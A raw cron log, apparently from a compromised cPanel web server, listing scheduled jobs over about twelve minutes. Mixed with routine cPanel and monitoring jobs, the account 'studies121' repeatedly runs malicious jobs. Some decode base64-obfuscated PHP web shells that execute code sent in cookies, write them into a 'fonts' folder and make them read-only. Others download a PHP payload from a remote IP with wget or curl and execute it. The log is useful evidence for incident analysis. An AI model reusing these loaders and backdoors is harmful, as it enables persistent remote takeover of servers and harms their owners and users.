Feb 22 11:40:01 ip-184-168-122-23 CROND[23588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:40:01 ip-184-168-122-23 CROND[23592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:40:01 ip-184-168-122-23 CROND[23591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:40:01 ip-184-168-122-23 CROND[23594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:40:01 ip-184-168-122-23 CROND[23598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:40:01 ip-184-168-122-23 CROND[23595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:40:01 ip-184-168-122-23 CROND[23597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:41:01 ip-184-168-122-23 CROND[24023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:41:01 ip-184-168-122-23 CROND[24025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:41:01 ip-184-168-122-23 CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:41:01 ip-184-168-122-23 CROND[24027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:42:01 ip-184-168-122-23 CROND[24349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:42:01 ip-184-168-122-23 CROND[24351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:42:01 ip-184-168-122-23 CROND[24352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:42:01 ip-184-168-122-23 CROND[24353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:42:01 ip-184-168-122-23 CROND[24354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:43:01 ip-184-168-122-23 CROND[24673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:43:01 ip-184-168-122-23 CROND[24675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:43:01 ip-184-168-122-23 CROND[24677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:43:01 ip-184-168-122-23 CROND[24679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:44:01 ip-184-168-122-23 CROND[25005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:44:01 ip-184-168-122-23 CROND[25007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:44:01 ip-184-168-122-23 CROND[25008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:44:01 ip-184-168-122-23 CROND[25009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:44:01 ip-184-168-122-23 CROND[25010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:45:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:45:01 ip-184-168-122-23 CROND[25359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:45:01 ip-184-168-122-23 CROND[25362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:45:01 ip-184-168-122-23 CROND[25363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:45:01 ip-184-168-122-23 CROND[25364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:45:01 ip-184-168-122-23 CROND[25361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:46:01 ip-184-168-122-23 CROND[25780]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 11:46:01 ip-184-168-122-23 CROND[25782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:46:01 ip-184-168-122-23 CROND[25781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:46:01 ip-184-168-122-23 CROND[25783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:46:01 ip-184-168-122-23 CROND[25784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:46:01 ip-184-168-122-23 CROND[25785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:47:01 ip-184-168-122-23 CROND[26098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:47:01 ip-184-168-122-23 CROND[26100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:47:01 ip-184-168-122-23 CROND[26103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:47:01 ip-184-168-122-23 CROND[26104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:48:01 ip-184-168-122-23 CROND[26446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:48:01 ip-184-168-122-23 CROND[26448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:48:01 ip-184-168-122-23 CROND[26450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:48:01 ip-184-168-122-23 CROND[26451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:48:01 ip-184-168-122-23 CROND[26452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:49:01 ip-184-168-122-23 CROND[26766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:49:01 ip-184-168-122-23 CROND[26768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:49:01 ip-184-168-122-23 CROND[26769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:49:01 ip-184-168-122-23 CROND[26767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:50:01 ip-184-168-122-23 CROND[27096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:50:01 ip-184-168-122-23 CROND[27095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:50:01 ip-184-168-122-23 CROND[27107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:51:01 ip-184-168-122-23 CROND[27427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:51:01 ip-184-168-122-23 CROND[27426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:51:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:51:01 ip-184-168-122-23 CROND[27432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:52:01 ip-184-168-122-23 CROND[27834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
